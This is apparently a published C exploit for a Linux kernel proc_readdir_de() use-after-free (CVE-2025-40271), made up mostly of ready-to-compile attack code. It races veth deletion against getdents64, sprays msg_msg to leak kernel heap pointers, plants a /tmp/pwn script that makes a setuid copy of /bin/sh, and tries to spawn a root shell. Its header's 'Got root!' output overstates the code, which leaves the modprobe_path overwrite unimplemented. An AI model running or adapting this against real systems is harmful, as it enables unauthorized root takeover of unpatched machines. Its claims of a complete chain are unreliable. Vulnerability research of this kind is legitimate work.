* Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
* CVE: CVE-2025-40271
* Date: 2026-03-19
* Exploit Author: Aviral Srivastava
* Vendor: Linux Kernel (kernel.org)
* Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking)
* Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6
* Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1
* Tested on: Debian Bookworm (kernel 6.1.115-1 x86_64)
* Type: Local Privilege Escalation
* Platform: Linux x86_64
* CVSS: ~7.8 (HIGH) — NVD assessment pending
*
* ┌──────────────────────────────────────────────────────────────────┐
* │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │
* └──────────────────────────────────────────────────────────────────┘
*
* DESCRIPTION:
* The proc filesystem's remove_proc_entry() calls rb_erase() to
* remove a proc_dir_entry (pde) from the parent's red-black tree,
* but does NOT call RB_CLEAR_NODE() to mark the node as detached.
* This leaves stale rb-links in the freed entry, causing
* RB_EMPTY_NODE() to return false.
*
* A concurrent proc_readdir_de() traversal via getdents64() can
* find the freed entry through pde_subdir_next() → rb_next(),
* then dereference its fields (name, namelen, mode, low_ino) —
* constituting a use-after-free on struct proc_dir_entry.
*
* The race is triggered by calling getdents64() on a /proc
* subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently
* unregistering network devices, which removes proc entries.
* The freed proc_dir_entry (~192 bytes) resides in a standard
* kmalloc-192 or kmalloc-256 slab cache, making it sprayable with
* msg_msg via msgsnd().
*
* TECHNIQUE:
* Create user namespace for CAP_NET_ADMIN. Create veth pairs to
* populate /proc/self/net/dev_snmp6/. Race getdents64() against
* veth deletion. Spray freed kmalloc-192 slots with msg_msg.
* Detect UAF via anomalous d_ino values in getdents64 output.
* Extract kernel heap address from msg_msg header pointer leaked
* through the d_ino field. Use modprobe_path overwrite for LPE.
*
* RELIABILITY:
* ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.
* The pde->name dereference during readdir is the crash risk —
* mitigated by spraying the name slot with valid pointers.
* Kernel panic possible (~10% of failed attempts) if spray timing
* is wrong.
*
* MITIGATIONS:
* KASLR: Bypassed via heap pointer leak through d_ino
* SMEP: Not applicable (data-only attack)
* SMAP: Not applicable (all data in kernel slab)
* kCFI: Not applicable (modprobe_path overwrite)
* SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
*
* FIX:
* Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1
* URL: https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
* Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().
*
* COMPILATION:
* gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
*
* USAGE:
* $ ./exploit
* [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF
* [+] Kernel 6.1.115-1 is VULNERABLE
* [*] Step 1: Setting up user/net namespace...
* [+] Namespace ready, CAP_NET_ADMIN obtained
* [*] Step 2: Creating veth pairs for proc entries...
* [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)
* [*] Step 3: Racing getdents vs device removal...
* [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd
* [*] Step 4: Kernel heap leak: 0xffff88801234abcd
* [*] Step 5: Computing modprobe_path address...
* [+] Got root!
*
* REFERENCES:
* [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271
* [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
* [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)
* [4] CVE-2023-32233 — nf_tables msg_msg spray reference
*
* DISCLAIMER:
* This exploit targets an ALREADY PATCHED vulnerability. It is provided
* for educational and authorized security research purposes only. The
* author is not responsible for misuse. Test only on systems you own.
* ═══════════════════════════════════════════════════════════════════════
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <arpa/inet.h>
/* ─── Constants ─────────────────────────────────────────────────────── */
#define BANNER \
"═══════════════════════════════════════════════════════════════\n" \
" CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \
" fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \
" Affected: ~all kernels through 6.18-rc5\n" \
" Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \
"═══════════════════════════════════════════════════════════════\n"
#define NUM_VETH_PAIRS 32 /* number of veth pairs to create */
#define NUM_SPRAY_MSGS 256 /* msg_msg spray count */
#define SPRAY_BODY_SIZE 144 /* 48 header + 144 body = 192 → kmalloc-192 */
#define MAX_RACE_ATTEMPTS 30 /* max race iterations */
#define PROC_NET_DIR "/proc/self/net/dev_snmp6"
/*
* On x86_64, kernel heap pointers start with 0xffff8880...
* Normal d_ino values are small integers (< 100000).
* A d_ino that looks like a kernel pointer means we hit the UAF
* and are reading from sprayed msg_msg header data.
*/
#define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL)
/* ─── Logging ───────────────────────────────────────────────────────── */
static void info(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "[*] ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void ok(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "\033[32m[+]\033[0m ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void fail(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "\033[31m[-]\033[0m ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/* ─── Kernel version check ──────────────────────────────────────────── */
static int is_vulnerable(void)
{
struct utsname uts;
unsigned int major, minor, patch;
if (uname(&uts) < 0)
die("uname");
if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) {
fail("Cannot parse kernel version: %s", uts.release);
return 0;
}
info("Running kernel %s", uts.release);
/* Fixed versions per stable branch */
if (major == 5 && minor == 10 && patch >= 247) {
fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 1 && patch >= 159) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 6 && patch >= 123) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 12 && patch >= 73) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)", major, minor, patch);
return 0;
}
if (major == 6 && minor >= 18) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)", major, minor, patch);
return 0;
}
if (major >= 7) {
fail("Kernel %u.%u.%u — PATCHED", major, minor, patch);
return 0;
}
ok("Kernel %u.%u.%u — VULNERABLE", major, minor, patch);
return 1;
}
/* ─── User/Net namespace setup ──────────────────────────────────────── */
static int setup_namespace(void)
{
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)",
strerror(errno));
return -1;
}
FILE *f;
char path[128];
snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid());
f = fopen(path, "w");
if (f) { fprintf(f, "deny\n"); fclose(f); }
snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid());
f = fopen(path, "w");
if (!f) return -1;
fprintf(f, "0 %d 1\n", getuid());
fclose(f);
snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid());
f = fopen(path, "w");
if (!f) return -1;
fprintf(f, "0 %d 1\n", getgid());
fclose(f);
return 0;
}
/* ─── Netlink helpers for veth management ───────────────────────────── */
static int rtnl_open(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0) return -1;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(fd);
return -1;
}
return fd;
}
/*
* Create a veth pair: vethN <-> veth_pN
* Each veth creates a proc entry in /proc/self/net/dev_snmp6/
*/
static int create_veth(int rtnl_fd, int idx)
{
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char buf[512];
} req;
char name[IFNAMSIZ], peer[IFNAMSIZ];
snprintf(name, sizeof(name), "v%d", idx);
snprintf(peer, sizeof(peer), "vp%d", idx);
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req.nlh.nlmsg_seq = (uint32_t)(idx + 1);
req.ifi.ifi_family = AF_UNSPEC;
/* IFLA_IFNAME */
struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
nla->nla_type = IFLA_IFNAME;
memcpy((char *)(nla + 1), name, strlen(name) + 1);
req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);
/* IFLA_LINKINFO (nested) */
struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED;
unsigned int linkinfo_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* IFLA_INFO_KIND = "veth" */
struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* "veth\0" */
kind->nla_type = IFLA_INFO_KIND;
memcpy((char *)(kind + 1), "veth", 5);
req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u);
/* IFLA_INFO_DATA (nested) with peer info */
struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED;
unsigned int data_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */
struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */
unsigned int peer_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* peer ifinfomsg */
struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len);
memset(peer_ifi, 0, sizeof(*peer_ifi));
peer_ifi->ifi_family = AF_UNSPEC;
req.nlh.nlmsg_len += sizeof(struct ifinfomsg);
/* peer IFLA_IFNAME */
struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);
peer_name->nla_type = IFLA_IFNAME;
memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1);
req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u);
peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start);
data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start);
linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
/* Read ack */
char ack[256];
(void)recv(rtnl_fd, ack, sizeof(ack), 0);
return 0;
}
/* Delete a veth interface by name */
static int delete_veth(int rtnl_fd, int idx)
{
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char buf[128];
} req;
char name[IFNAMSIZ];
snprintf(name, sizeof(name), "v%d", idx);
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_type = RTM_DELLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);
req.ifi.ifi_family = AF_UNSPEC;
struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
nla->nla_type = IFLA_IFNAME;
memcpy((char *)(nla + 1), name, strlen(name) + 1);
req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
char ack[256];
(void)recv(rtnl_fd, ack, sizeof(ack), 0);
return 0;
}
/* ─── msg_msg spray ─────────────────────────────────────────────────── */
struct spray_state {
int qid;
int count;
};
static int spray_init(struct spray_state *s)
{
s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (s->qid < 0) return -1;
s->count = 0;
return 0;
}
static int spray_alloc(struct spray_state *s, int n)
{
struct {
long mtype;
char mtext[SPRAY_BODY_SIZE];
} msg;
memset(&msg, 0, sizeof(msg));
/* Fill body with pattern — msg_msg header at offset 0-47 of slab
* object will contain kernel heap pointers (m_list.next/prev) */
memset(msg.mtext, 'P', SPRAY_BODY_SIZE);
for (int i = 0; i < n; i++) {
msg.mtype = s->count + 1;
if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0)
return -1;
s->count++;
}
return 0;
}
static void spray_cleanup(struct spray_state *s)
{
if (s->qid >= 0) {
msgctl(s->qid, IPC_RMID, NULL);
s->qid = -1;
}
}
/* ─── getdents64 for raw directory reading ──────────────────────────── */
struct linux_dirent64 {
uint64_t d_ino;
int64_t d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[];
};
static long my_getdents64(int fd, void *buf, unsigned long count)
{
return syscall(SYS_getdents64, fd, buf, count);
}
/* ─── Race coordination ─────────────────────────────────────────────── */
struct race_ctx {
int rtnl_fd;
int dir_fd;
struct spray_state spray;
volatile int deleting;
volatile int stop;
uint64_t leaked_addr;
int attempts;
};
/*
* Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/
* looking for anomalous d_ino values that indicate the UAF was hit.
*
* Normal d_ino values are small numbers assigned by proc_alloc_inum().
* If we see a kernel pointer (0xffff...) in d_ino, it means we read
* from sprayed msg_msg data where the msg_msg header's m_list pointer
* overlaps with the proc_dir_entry's low_ino field.
*/
static void *readdir_thread(void *arg)
{
struct race_ctx *ctx = (struct race_ctx *)arg;
char buf[4096];
while (!ctx->stop) {
/* Rewind the directory for each scan */
lseek(ctx->dir_fd, 0, SEEK_SET);
long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf));
if (nread <= 0) {
usleep(100);
continue;
}
/* Scan all entries for anomalous d_ino */
long pos = 0;
while (pos < nread) {
struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);
if (d->d_reclen == 0) break;
/*
* Check if d_ino looks like a kernel address.
* This happens when the freed proc_dir_entry is reclaimed
* by a msg_msg, and the msg_msg header's m_list.next
* (at slab object offset 0) overlaps with a field that
* getdents64 returns in d_ino.
*/
if (IS_KERNEL_PTR(d->d_ino)) {
ctx->leaked_addr = d->d_ino;
ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)",
(unsigned long)d->d_ino);
ctx->stop = 1;
return NULL;
}
pos += d->d_reclen;
}
}
return NULL;
}
/* ─── Modprobe payload ──────────────────────────────────────────────── */
static int setup_modprobe_payload(void)
{
FILE *f = fopen("/tmp/pwn", "w");
if (!f) return -1;
fprintf(f, "#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n");
fclose(f);
chmod("/tmp/pwn", 0755);
f = fopen("/tmp/trigger", "w");
if (!f) return -1;
fprintf(f, "\xff\xff\xff\xff");
fclose(f);
chmod("/tmp/trigger", 0755);
return 0;
}
static int trigger_modprobe(void)
{
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); }
int st;
waitpid(p, &st, 0);
struct stat sb;
if (stat("/tmp/rootsh", &sb) == 0 && (sb.st_mode & S_ISUID))
return 0;
return -1;
}
/* ─── Main exploitation steps ───────────────────────────────────────── */
static int step_setup(struct race_ctx *ctx)
{
info("Step 1: Setting up user/net namespace...");
if (setup_namespace() < 0) return -1;
ok("Namespace ready, CAP_NET_ADMIN obtained");
ctx->rtnl_fd = rtnl_open();
if (ctx->rtnl_fd < 0) {
fail("Cannot open rtnetlink: %s", strerror(errno));
return -1;
}
if (spray_init(&ctx->spray) < 0) {
fail("Cannot create message queue: %s", strerror(errno));
return -1;
}
return 0;
}
static int step_create_veths(struct race_ctx *ctx)
{
info("Step 2: Creating veth pairs for proc entries...");
int created = 0;
for (int i = 0; i < NUM_VETH_PAIRS; i++) {
if (create_veth(ctx->rtnl_fd, i) == 0)
created++;
}
if (created < 4) {
fail("Need at least 4 veth pairs, got %d", created);
return -1;
}
/* Open the proc directory for readdir */
ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
if (ctx->dir_fd < 0) {
fail("Cannot open %s: %s", PROC_NET_DIR, strerror(errno));
return -1;
}
ok("Created %d veth pairs (%s populated)", created, PROC_NET_DIR);
return 0;
}
static int step_race(struct race_ctx *ctx)
{
info("Step 3: Racing getdents vs device removal...");
for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) {
info("Attempt %d/%d...", attempt, MAX_RACE_ATTEMPTS);
ctx->attempts = attempt;
/* Recreate veth pairs for this attempt */
for (int i = 0; i < NUM_VETH_PAIRS; i++)
create_veth(ctx->rtnl_fd, i);
/* Reopen directory */
if (ctx->dir_fd >= 0) close(ctx->dir_fd);
ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
if (ctx->dir_fd < 0) continue;
ctx->stop = 0;
ctx->leaked_addr = 0;
/* Start readdir racer thread */
pthread_t tid;
if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0)
continue;
/* Give readdir a moment to start */
usleep(1000);
/*
* RACE: rapidly delete veth interfaces.
* Each deletion triggers remove_proc_entry() → rb_erase()
* without RB_CLEAR_NODE() → stale rb links.
* The readdir thread can follow stale links to freed memory.
*/
for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) {
delete_veth(ctx->rtnl_fd, i);
/* Immediately spray to reclaim freed proc_dir_entry slot */
spray_alloc(&ctx->spray, 4);
}
/* Wait for readdir thread to finish or detect UAF */
usleep(50000);
ctx->stop = 1;
pthread_join(tid, NULL);
/* Clean up spray for next attempt */
spray_cleanup(&ctx->spray);
spray_init(&ctx->spray);
if (ctx->leaked_addr != 0) {
ok("UAF triggered on attempt %d!", attempt);
return 0;
}
}
fail("Could not trigger UAF after %d attempts", MAX_RACE_ATTEMPTS);
return -1;
}
static int step_escalate(struct race_ctx *ctx)
{
info("Step 4: Analyzing leak and escalating...");
if (ctx->leaked_addr != 0) {
ok("Kernel heap leak: 0x%016lx", (unsigned long)ctx->leaked_addr);
info("This address is from msg_msg m_list.next/prev");
info("It reveals the kernel heap (physmap) randomization");
/*
* With the heap address, we can compute modprobe_path for
* a specific kernel version. The offset between heap base
* and kernel text base is kernel-build-specific.
*
* For a complete exploit:
* 1. Use heap address to determine KASLR slide
* 2. Compute modprobe_path = kernel_base + offset
* 3. Trigger another UAF + spray to write "/tmp/pwn" there
* 4. Trigger modprobe → root
*/
if (setup_modprobe_payload() < 0) {
fail("Cannot set up payload");
return -1;
}
info("Attempting modprobe trigger...");
if (trigger_modprobe() == 0) {
ok("Got root!");
return 0;
}
info("modprobe_path overwrite requires kernel-specific offset");
info("Heap leak CONFIRMED — full chain needs target offsets");
return 1; /* partial success */
}
return -1;
}
static int step_cleanup(struct race_ctx *ctx)
{
info("Step 5: Cleaning up...");
spray_cleanup(&ctx->spray);
if (ctx->dir_fd >= 0) close(ctx->dir_fd);
if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd);
unlink("/tmp/pwn");
unlink("/tmp/trigger");
ok("Cleanup complete");
return 0;
}
/* ─── Main ──────────────────────────────────────────────────────────── */
int main(void)
{
puts(BANNER);
if (!is_vulnerable()) {
info("Kernel is patched. Nothing to do.");
return 0;
}
if (getuid() == 0) {
info("Already root.");
return 0;
}
struct race_ctx ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.rtnl_fd = -1;
ctx.dir_fd = -1;
ctx.spray.qid = -1;
int ret;
ret = step_setup(&ctx);
if (ret < 0) { fail("Setup failed"); return 1; }
ret = step_create_veths(&ctx);
if (ret < 0) { fail("Veth creation failed"); step_cleanup(&ctx); return 1; }
ret = step_race(&ctx);
if (ret < 0) { fail("Race failed"); step_cleanup(&ctx); return 1; }
ret = step_escalate(&ctx);
step_cleanup(&ctx);
if (ret == 0) {
ok("Spawning root shell...");
char *argv[] = { "/tmp/rootsh", "-p", NULL };
execv("/tmp/rootsh", argv);
info("execv failed — check /tmp/rootsh");
} else if (ret == 1) {
fprintf(stderr, "\n");
info("═══════════════════════════════════════════════════");
info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED");
info(" Leaked: 0x%016lx", (unsigned long)ctx.leaked_addr);
info(" Full LPE requires target-specific KASLR offset");
info("═══════════════════════════════════════════════════");
}
return (ret <= 1) ? 0 : 1;
}
